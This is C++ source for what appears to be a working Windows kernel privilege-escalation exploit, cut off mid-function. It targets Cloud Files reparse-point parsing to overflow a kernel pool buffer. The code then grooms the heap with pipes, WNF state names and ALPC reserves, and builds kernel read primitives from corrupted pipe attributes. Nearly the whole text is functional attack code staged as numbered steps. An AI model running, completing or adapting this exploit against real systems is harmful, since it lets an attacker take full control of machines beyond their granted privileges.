static PIOP_MC_BUFFER_ENTRY g_fake_buffer_entry = NULL;
static PULONG64             g_fake_buffers_array = NULL;

static BYTE* g_fake_kalpc_reserve_object = NULL;
static BYTE* g_fake_kalpc_message_object = NULL;

static wchar_t g_syncRootPath[MAX_PATH];
static wchar_t g_filePath[MAX_PATH];
static wchar_t g_filePath_second[MAX_PATH];

#define RESOLVE_FUNCTION(module, func_ptr, func_type, func_name) \
    do { \
        func_ptr = (func_type)GetProcAddress(module, func_name); \
        if (!func_ptr) { \
            printf("[-] Failed to resolve: %s\n", func_name); \
            return FALSE; \
        } \
    } while(0)

static ULONG Calculate_CRC32(ULONG seed, const void* buf, size_t len) {
```

```
    ULONG crc = ~seed;
    const unsigned char* p = (const unsigned char*)buf;
    for (size_t i = 0; i < len; ++i) {
        crc ^= p[i];
        for (int j = 0; j < 8; ++j) {
            if (crc & 1) crc = (crc >> 1) ^ 0xEDB88320;
            else crc >>= 1;
        }
    }
    return ~crc;
}

static BOOL IsKernelPointer(ULONG64 value) {
    return ((value & 0xFFFF000000000000ULL) == 0xFFFF000000000000ULL) &&
        (value != 0xFFFFFFFFFFFFFFFFULL) &&
        (value != 0x5151515151515151ULL) &&
        (value != 0x5252525252525252ULL);
}

static BOOL RefreshPipeCorruption(ULONG64 target_addr, ULONG size) {
    if (g_victim_index_second == -1) return FALSE;

    ULONG64* fake1 = (ULONG64*)g_fake_pipe_attr;
    fake1[0] = (ULONG64)g_fake_pipe_attr2;
    fake1[1] = (ULONG64)g_leaked_pipe_attr;
    fake1[2] = (ULONG64)g_fake_attr_name;
    fake1[3] = size;
    fake1[4] = target_addr;
    fake1[5] = 0x4747474747474747ULL;

    ULONG64* fake2 = (ULONG64*)g_fake_pipe_attr2;
    fake2[0] = 0x4848484848484848ULL;
    fake2[1] = (ULONG64)g_fake_pipe_attr;
    fake2[2] = (ULONG64)g_fake_attr_name2;
    fake2[3] = size;
    fake2[4] = target_addr;
    fake2[5] = 0x4949494949494949ULL;

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0x50, 0xFF8);
    *(ULONG64*)(overflow_data.get() + 0xFF8 - 8) = (ULONG64)g_fake_pipe_attr;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names_second[g_victim_index_second],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_SECOND, 0
    );

    return (status == 0);
}

static BOOL ReadKernel64(ULONG64 address, ULONG64* out_value) {
    if (g_target_pipe_index == -1 || address == 0) return FALSE;

    RefreshPipeCorruption(address, 0x8);

    BYTE buffer[0x100] = { 0 };
```

```
    IO_STATUS_BLOCK iosb = {};

    NTSTATUS status = g_NtFsControlFile(
        g_pipe_write[g_target_pipe_index],
        NULL, NULL, NULL, &iosb,
        FSCTL_PIPE_GET_PIPE_ATTRIBUTE,
        g_fake_attr_name, (ULONG)strlen(g_fake_attr_name) + 1,
        buffer, sizeof(buffer)
    );

    if (status != 0) {
        printf("ReadKernel64 failed: target=0x%llX, status=0x%08X, pipe_idx=%d\n",
            address, status, g_target_pipe_index);
        return FALSE;
    }

    *out_value = *(ULONG64*)buffer;
    printf("ReadKernel64: addr=0x%llX -> value=0x%llX\n", address, *out_value);
    return TRUE;
}

static BOOL ReadKernelBuffer(ULONG64 address, PVOID buffer, ULONG size) {
    if (g_target_pipe_index == -1 || address == 0 || buffer == NULL || size == 0) {
        return FALSE;
    }

    RefreshPipeCorruption(address, size);

    BYTE out_buffer[0x1000] = { 0 };
    IO_STATUS_BLOCK iosb = {};

    NTSTATUS status = g_NtFsControlFile(
        g_pipe_write[g_target_pipe_index],
        NULL, NULL, NULL, &iosb,
        FSCTL_PIPE_GET_PIPE_ATTRIBUTE,
        g_fake_attr_name, (ULONG)strlen(g_fake_attr_name) + 1,
        out_buffer, sizeof(out_buffer)
    );

    if (status != 0) return FALSE;
    memcpy(buffer, out_buffer, size);
    return TRUE;
}

static ULONG64 FindIoRingObjectAddress(HIORING hIoRing) {

    HANDLE kernelHandle = *(HANDLE*)((BYTE*)hIoRing + HIORING_OFFSET_KERNEL_HANDLE);
    printf("[*] IO_RING kernel handle: 0x%p\n", kernelHandle);

    DWORD currentPid = GetCurrentProcessId();
    ULONG bufferSize = 0x100000;
    PVOID handleInfo = NULL;
    NTSTATUS status;

    for (int attempt = 0; attempt < 10; attempt++) {
```

```
        handleInfo = VirtualAlloc(NULL, bufferSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
        if (!handleInfo) {
            printf("[-] VirtualAlloc failed for handle enumeration\n");
            return 0;
        }

        ULONG returnLength = 0;
        status = g_NtQuerySystemInformation(
            64, // SystemExtendedHandleInformation
            handleInfo, bufferSize, &returnLength
        );

        if (status == (NTSTATUS)0xC0000004) { // STATUS_INFO_LENGTH_MISMATCH
            VirtualFree(handleInfo, 0, MEM_RELEASE);
            handleInfo = NULL;
            bufferSize *= 2;
            continue;
        }
        break;
    }

    if (status != 0 || !handleInfo) {
        printf("[-] NtQuerySystemInformation failed: 0x%08X\n", status);
        if (handleInfo) VirtualFree(handleInfo, 0, MEM_RELEASE);
        return 0;
    }

    SYSTEM_HANDLE_INFORMATION_EX* info = (SYSTEM_HANDLE_INFORMATION_EX*)handleInfo;
    ULONG64 objectAddr = 0;

    printf("[*] Searching %llu handles for PID=%lu, Handle=0x%p...\n",
        (unsigned long long)info->NumberOfHandles, currentPid, kernelHandle);

    for (ULONG_PTR i = 0; i < info->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX* entry = &info->Handles[i];
        if (entry->UniqueProcessId == (ULONG_PTR)currentPid &&
            entry->HandleValue == (ULONG_PTR)kernelHandle) {
            objectAddr = (ULONG64)entry->Object;
            printf("[+] IORING_OBJECT found: 0x%016llX (TypeIndex=%u)\n",
                (unsigned long long)objectAddr, entry->ObjectTypeIndex);
            break;
        }
    }

    VirtualFree(handleInfo, 0, MEM_RELEASE);

    if (objectAddr == 0) {
        printf("[-] IORING_OBJECT not found in handle table\n");
    }
    return objectAddr;
}

static BOOL InitializeNtdllFunctions(void) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
```

```
        printf("[-] Failed to get ntdll.dll handle\n");
        return FALSE;
    }

    RESOLVE_FUNCTION(hNtdll, g_NtCreateWnfStateName, PNtCreateWnfStateName,
"NtCreateWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtUpdateWnfStateData, PNtUpdateWnfStateData,
"NtUpdateWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtQueryWnfStateData, PNtQueryWnfStateData,
"NtQueryWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtDeleteWnfStateName, PNtDeleteWnfStateName,
"NtDeleteWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreatePort, PNtAlpcCreatePort,
"NtAlpcCreatePort");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreateResourceReserve,
PNtAlpcCreateResourceReserve, "NtAlpcCreateResourceReserve");
    RESOLVE_FUNCTION(hNtdll, g_NtFsControlFile, PNtFsControlFile, "NtFsControlFile");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcSendWaitReceivePort, PNtAlpcSendWaitReceivePort,
"NtAlpcSendWaitReceivePort");
    RESOLVE_FUNCTION(hNtdll, g_NtOpenProcess, PNtOpenProcess, "NtOpenProcess");
    RESOLVE_FUNCTION(hNtdll, g_NtQuerySystemInformation, PNtQuerySystemInformation,
"NtQuerySystemInformation");
    RESOLVE_FUNCTION(hNtdll, g_NtQueryObject, PNtQueryObject, "NtQueryObject");

    printf("[+] All ntdll functions resolved\n");
    return TRUE;
}

static BOOL InitializeSyncRoot(void) {
    PWSTR appDataPath = NULL;
    HRESULT hr = SHGetKnownFolderPath(FOLDERID_RoamingAppData, 0, NULL, &appDataPath);
    if (FAILED(hr)) {
        printf("[-] Failed to get AppData path\n");
        return FALSE;
    }

    swprintf(g_syncRootPath, MAX_PATH, L"%s\\MySyncRoot", appDataPath);
    CreateDirectoryW(g_syncRootPath, NULL);

    swprintf(g_filePath, MAX_PATH, L"%s\\trigger_first", g_syncRootPath);
    swprintf(g_filePath_second, MAX_PATH, L"%s\\trigger_second", g_syncRootPath);

    CF_SYNC_REGISTRATION registration = {};
    registration.StructSize = sizeof(registration);
    registration.ProviderName = L"ExploitProvider";
    registration.ProviderVersion = L"1.0";
    registration.ProviderId = ProviderId;

    LPCWSTR identity = L"ExploitIdentity";
    registration.SyncRootIdentity = identity;
    registration.SyncRootIdentityLength = (DWORD)(wcslen(identity) * sizeof(WCHAR));

    CF_SYNC_POLICIES policies = {};
    policies.StructSize = sizeof(policies);
    policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
```

```
    policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    policies.PlaceholderManagement =
CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hr = CfRegisterSyncRoot(g_syncRootPath, &registration, &policies,
        CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

    if (FAILED(hr)) {
        printf("[-] Sync root registration failed: 0x%08lX\n", (unsigned long)hr);
        CoTaskMemFree(appDataPath);
        return FALSE;
    }

    printf("[+] Sync root registered: %ls\n", g_syncRootPath);
    CoTaskMemFree(appDataPath);
    return TRUE;
}

typedef enum _HSM_ELEMENT_OFFSETS {
    ELEM_TYPE = 0x00, ELEM_LENGTH = 0x02, ELEM_OFFSET = 0x04,
} HSM_ELEMENT_OFFSETS;

typedef enum _HSM_FERP_OFFSETS {
    FERP_VERSION = 0x00, FERP_STRUCT_SIZE = 0x02, FERP_MAGIC = 0x04,
    FERP_CRC = 0x08, FERP_LENGTH = 0x0C, FERP_FLAGS = 0x10, FERP_MAX_ELEMS = 0x12
} HSM_FERP_OFFSETS;

typedef enum _HSM_BTRP_OFFSETS {
    BTRP_MAGIC = 0x04, BTRP_CRC = 0x08, BTRP_LENGTH = 0x0C,
    BTRP_FLAGS = 0x10, BTRP_MAX_ELEMS = 0x12
} HSM_BTRP_OFFSETS;

static USHORT BtRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* btrp_data_buffer) {
    memset(btrp_data_buffer, 0, BTRP_BUFFER_SIZE);
    *(ULONG*)(btrp_data_buffer + BTRP_MAGIC) = HSM_BITMAP_MAGIC;
    *(USHORT*)(btrp_data_buffer + BTRP_MAX_ELEMS) = (USHORT)count;

    char* ptr = btrp_data_buffer + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(ptr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(ptr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(ptr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(btrp_data_buffer + elements[i].Offset + 4, input_data[i],
elements[i].Length);
        ptr += sizeof(HSM_ELEMENT_INFO);
    }

    USHORT max_offset = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > max_offset) max_offset = end;
    }

    USHORT total = (USHORT)(max_offset + 4);
    *(USHORT*)(btrp_data_buffer + BTRP_LENGTH) = total;
```

```
    *(USHORT*)(btrp_data_buffer + BTRP_FLAGS) = HSM_DATA_HAVE_CRC;

    if (total <= 8 + 0x0C) return 0;

    ULONG crc = Calculate_CRC32(0, btrp_data_buffer + BTRP_LENGTH, (ULONG)(total - 8));
    *(ULONG*)(btrp_data_buffer + BTRP_CRC) = crc;

    return total;
}

static USHORT FeRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* ferp_ptr, USHORT max_elements) {
    memset(ferp_ptr, 0, FERP_BUFFER_SIZE);
    *(USHORT*)(ferp_ptr + FERP_VERSION) = VERSION_VALUE;
    *(ULONG*)(ferp_ptr + FERP_MAGIC) = HSM_FILE_MAGIC;
    *(USHORT*)(ferp_ptr + FERP_FLAGS) = HSM_DATA_HAVE_CRC;
    *(USHORT*)(ferp_ptr + FERP_MAX_ELEMS) = max_elements;

    char* descPtr = ferp_ptr + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(descPtr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(descPtr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(descPtr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(ferp_ptr + elements[i].Offset, input_data[i], elements[i].Length);
        descPtr += HSM_ELEMENT_INFO_SIZE;
    }

    USHORT position_limit = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > position_limit) position_limit = end;
    }

    USHORT rem = (USHORT)(position_limit % FERP_ALIGN);
    if (rem != 0) position_limit = (USHORT)(position_limit + (FERP_ALIGN - rem));

    *(ULONG*)(ferp_ptr + FERP_LENGTH) = (ULONG)(position_limit - 4);
    if (position_limit <= HSM_ELEMENT_TYPE_MAX) return 0;

    ULONG crc = Calculate_CRC32(0, ferp_ptr + FERP_LENGTH, (ULONG)(position_limit - 8 -
4));
    *(ULONG*)(ferp_ptr + FERP_CRC) = crc;
    *(USHORT*)(ferp_ptr + FERP_STRUCT_SIZE) = position_limit;

    return position_limit;
}

static unsigned long FeRpCompressBuffer(char* input_buffer, unsigned short input_size,
char* output_buffer) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return 0;

    auto fnGetWorkSpaceSize = (PRtlGetCompressionWorkSpaceSize)GetProcAddress(hNtdll,
"RtlGetCompressionWorkSpaceSize");
    auto fnCompressBuffer = (PRtlCompressBuffer)GetProcAddress(hNtdll,
"RtlCompressBuffer");
```

```
    if (!fnGetWorkSpaceSize || !fnCompressBuffer) return 0;

    ULONG workSpaceSize = 0, fragWorkSpaceSize = 0;
    if (fnGetWorkSpaceSize(2, &workSpaceSize, &fragWorkSpaceSize) != 0) return 0;

    std::unique_ptr<char[]> workspace(new char[workSpaceSize]);
    ULONG compressedSize = 0;

    if (fnCompressBuffer(2, (PUCHAR)(input_buffer + 4), (ULONG)(input_size - 4),
        (PUCHAR)output_buffer, FERP_BUFFER_SIZE, FERP_BUFFER_SIZE,
        &compressedSize, workspace.get()) != 0) return 0;

    return compressedSize;
}

static int BuildAndSetReparsePoint(HANDLE hFile, int payload_size, char* payload_buf) {
    const int COUNT = ELEMENT_NUMBER;
    auto bt_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);

    bt_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[0].Length = 0x1;
    bt_elements[1].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[1].Length = 0x1;
    bt_elements[2].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[2].Length = 0x1;
    bt_elements[3].Type = HSM_ELEMENT_TYPE_UINT64; bt_elements[3].Length = 0x8;
    bt_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; bt_elements[4].Length =
(USHORT)payload_size;

    bt_elements[0].Offset = ELEMENT_START_OFFSET;
    bt_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    bt_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    bt_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    bt_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> bt_buf(new char[BTRP_BUFFER_SIZE]);
    BYTE bt_data_00 = 0x01, bt_data_01 = 0x10, bt_data_02 = 0x00;
    UINT64 bt_data_03 = 0x0;
    char* bt_data[COUNT] = { (char*)&bt_data_00, (char*)&bt_data_01,
(char*)&bt_data_02, (char*)&bt_data_03, payload_buf };

    USHORT bt_size = BtRpBuildBuffer(bt_elements.get(), bt_data, COUNT, bt_buf.get());
    if (bt_size == 0) return -1;

    auto fe_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);
    fe_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   fe_elements[0].Length = 0x1;
    fe_elements[1].Type = HSM_ELEMENT_TYPE_UINT32; fe_elements[1].Length = 0x4;
    fe_elements[2].Type = HSM_ELEMENT_TYPE_UINT64; fe_elements[2].Length = 0x8;
    fe_elements[3].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[3].Length = 0x4;
    fe_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[4].Length = bt_size;

    fe_elements[0].Offset = ELEMENT_START_OFFSET;
    fe_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    fe_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    fe_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    fe_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> fe_buf(new char[FERP_BUFFER_SIZE]);
    BYTE fe_data_00 = 0x74;
```

```
    UINT32 fe_data_01 = 0x00000001;
    UINT64 fe_data_02 = 0x0;
    UINT32 fe_data_03 = 0x00000040;
    char* fe_data[COUNT] = { (char*)&fe_data_00, (char*)&fe_data_01,
(char*)&fe_data_02, (char*)&fe_data_03, bt_buf.get() };

    USHORT fe_size = FeRpBuildBuffer(fe_elements.get(), fe_data, COUNT, fe_buf.get(),
MAX_ELEMS);
    if (fe_size == 0) return -1;

    std::unique_ptr<char[]> compressed(new char[COMPRESSED_SIZE]);
    unsigned long compressed_size = FeRpCompressBuffer(fe_buf.get(), fe_size,
compressed.get());
    if (compressed_size == 0 || compressed_size > COMPRESSED_SIZE) return -1;

    USHORT cf_payload_len = (USHORT)(4 + compressed_size);
    std::unique_ptr<char[]> cf_blob(new char[cf_payload_len]);
    *(USHORT*)(cf_blob.get() + 0) = 0x8001;
    *(USHORT*)(cf_blob.get() + 2) = fe_size;
    memcpy(cf_blob.get() + 4, compressed.get(), compressed_size);

    REPARSE_DATA_BUFFER_EX rep_data = {};
    rep_data.Flags = 0x1;
    rep_data.ExistingReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ExistingReparseGuid = ProviderId;
    rep_data.ReparseDataBuffer.ReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ReparseDataBuffer.ReparseDataLength = cf_payload_len;
    memcpy(rep_data.ReparseDataBuffer.GenericReparseBuffer.DataBuffer, cf_blob.get(),
cf_payload_len);

    DWORD inSize = (DWORD)(offsetof(REPARSE_DATA_BUFFER_EX,
ReparseDataBuffer.GenericReparseBuffer.DataBuffer) + cf_payload_len);
    DWORD bytesReturned = 0;

    return DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &rep_data, inSize, NULL,
0, &bytesReturned, NULL) ? 0 : -1;
}

//================================================================================
// STAGE 01: DEFRAGMENTATION
//================================================================================

static BOOL Stage01_Defragmentation(void) {
    printf("\n========================================\n");
    printf("    STAGE 01: DEFRAGMENTATION\n");
    printf("========================================\n");

    for (int round = 0; round < 2; round++) {
        auto pipes = std::make_unique<PIPE_PAIR[]>(DEFRAG_PIPE_COUNT);
        DWORD created = 0;

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (CreatePipe(&pipes[i].hRead, &pipes[i].hWrite, NULL, 0x100)) created++;
            else pipes[i].hRead = pipes[i].hWrite = NULL;
        }
```

```
        Sleep(SLEEP_SHORT);

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (pipes[i].hRead) CloseHandle(pipes[i].hRead);
            if (pipes[i].hWrite) CloseHandle(pipes[i].hWrite);
        }

        printf("[+] Round %d: %lu/%lu pipes\n", round + 1, created, DEFRAG_PIPE_COUNT);
    }

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 01 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 02: CREATE WNF NAMES
//============================================================================

static BOOL Stage02_CreateWnfNames(void) {
    printf("\n=======================================\n");
    printf("    STAGE 02: CREATE WNF NAMES\n");
    printf("=======================================\n");

    g_wnf_pad_names = std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT);
    g_wnf_names = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT);
    g_wnf_active = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT);
    memset(g_wnf_active.get(), 0, WNF_SPRAY_COUNT * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    DWORD padCreated = 0;
    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_pad_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            padCreated++;
    }
    printf("[+] Created %lu padding WNF names\n", padCreated);

    DWORD actualCreated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            actualCreated++;
    }
    printf("[+] Created %lu actual WNF names\n", actualCreated);

    LocalFree(pSecurityDescriptor);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 02 COMPLETE\n");
    return TRUE;
}
```

```
//=============================================================================
// STAGE 03: ALPC PORTS
//=============================================================================

static BOOL Stage03_AlpcPorts(void) {
    printf("\n=======================================\n");
    printf("    STAGE 03: ALPC PORTS\n");
    printf("=======================================\n");

    g_alpc_ports = std::make_unique<HANDLE[]>(ALPC_PORT_COUNT);
    memset(g_alpc_ports.get(), 0, ALPC_PORT_COUNT * sizeof(HANDLE));

    DWORD created = 0;
    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        ALPC_PORT_ATTRIBUTES portAttr = {};
        portAttr.MaxMessageLength = 0x500;
        OBJECT_ATTRIBUTES objAttr = {};
        objAttr.Length = sizeof(OBJECT_ATTRIBUTES);

        if (g_NtAlpcCreatePort(&g_alpc_ports[i], &objAttr, &portAttr) == 0) created++;
        else g_alpc_ports[i] = NULL;
    }

    printf("[+] Created %lu ALPC ports\n", created);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 03 COMPLETE\n");
    return (created >= ALPC_PORT_COUNT / 2);
}

//=============================================================================
// STAGE 04: UPDATE WNF PADDING DATA
//=============================================================================

static BOOL Stage04_UpdateWnfPaddingData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 04: UPDATE WNF PADDING DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++)
        g_NtUpdateWnfStateData(&g_wnf_pad_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0);

    printf("[+] Updated padding WNF data\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 04 COMPLETE\n");
    return TRUE;
}

//=============================================================================
// STAGE 05: UPDATE WNF STATE DATA
```

```
//============================================================================

static BOOL Stage05_UpdateWnfStateData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 05: UPDATE WNF STATE DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    DWORD actualUpdated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0) == 0) {
            g_wnf_active[i] = TRUE;
            actualUpdated++;
        }
    }
    printf("[+] Updated %lu actual WNF objects\n", actualUpdated);

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 05 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 06: CREATE HOLES
//============================================================================

static BOOL Stage06_CreateHoles(void) {
    printf("\n=======================================\n");
    printf("    STAGE 06: CREATE HOLES\n");
    printf("=======================================\n");

    DWORD deleted = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i += 2) {
        if (g_wnf_active[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names[i]) == 0) {
                g_wnf_active[i] = FALSE;
                deleted++;
            }
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 06 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 07: PLACE OVERFLOW BUFFER
//============================================================================
```

```
static BOOL Stage07_PlaceOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 07: PLACE OVERFLOW BUFFER\n");
    printf("=======================================\n");

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);

    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_FIRST;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }

    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_FIRST);
    printf("[+] Stage 07 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 08: TRIGGER OVERFLOW
//============================================================================

static BOOL Stage08_TriggerOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 08: TRIGGER OVERFLOW\n");
    printf("=======================================\n");

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open file: %lu\n", GetLastError());
        return FALSE;
    }
```

```
    CloseHandle(hFile);
    printf("[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 08 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 09: ALPC RESERVES
//============================================================================

static BOOL Stage09_AlpcReserves(void) {
    printf("\n=======================================\n");
    printf("    STAGE 09: ALPC RESERVES\n");
    printf("=======================================\n");

    DWORD totalReserves = 0;
    g_saved_reserve_handle = NULL;

    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;

        for (DWORD j = 0; j < ALPC_RESERVES_PER_PORT; j++) {
            HANDLE hResource = NULL;
            if (g_NtAlpcCreateResourceReserve(g_alpc_ports[i], 0, 0x28, &hResource) ==
0) {
                totalReserves++;
                if (g_saved_reserve_handle == NULL) {
                    g_saved_reserve_handle = hResource;
                }
            }
        }
    }

    printf("[+] Created %lu total reserves\n", totalReserves);
    printf("[+] Saved reserve handle: 0x%p\n", g_saved_reserve_handle);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_LONG);
    printf("[+] Stage 09 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 10: LEAK KERNEL POINTER
//============================================================================

static BOOL Stage10_LeakKernelPointer(void) {
    printf("\n=======================================\n");
    printf("    STAGE 10: LEAK KERNEL POINTER\n");
    printf("=======================================\n");

    g_victim_index = -1;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT; i += 2) {
```

```
        if (!g_wnf_active[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_FIRST) {
            g_victim_index = i;
            printf("[+] Found victim WNF at index %d (DataSize: 0x%lX)\n", i,
bufferSize);
            break;
        }
    }

    if (g_victim_index == -1) {
        printf("[-] No corrupted WNF found\n");
        return FALSE;
    }

    ULONG querySize = 0;
    WNF_CHANGE_STAMP stamp = 0;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp, NULL,
&querySize);

    auto buffer = std::make_unique<BYTE[]>(querySize + 0x10);
    ULONG readSize = querySize;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp,
buffer.get(), &readSize);


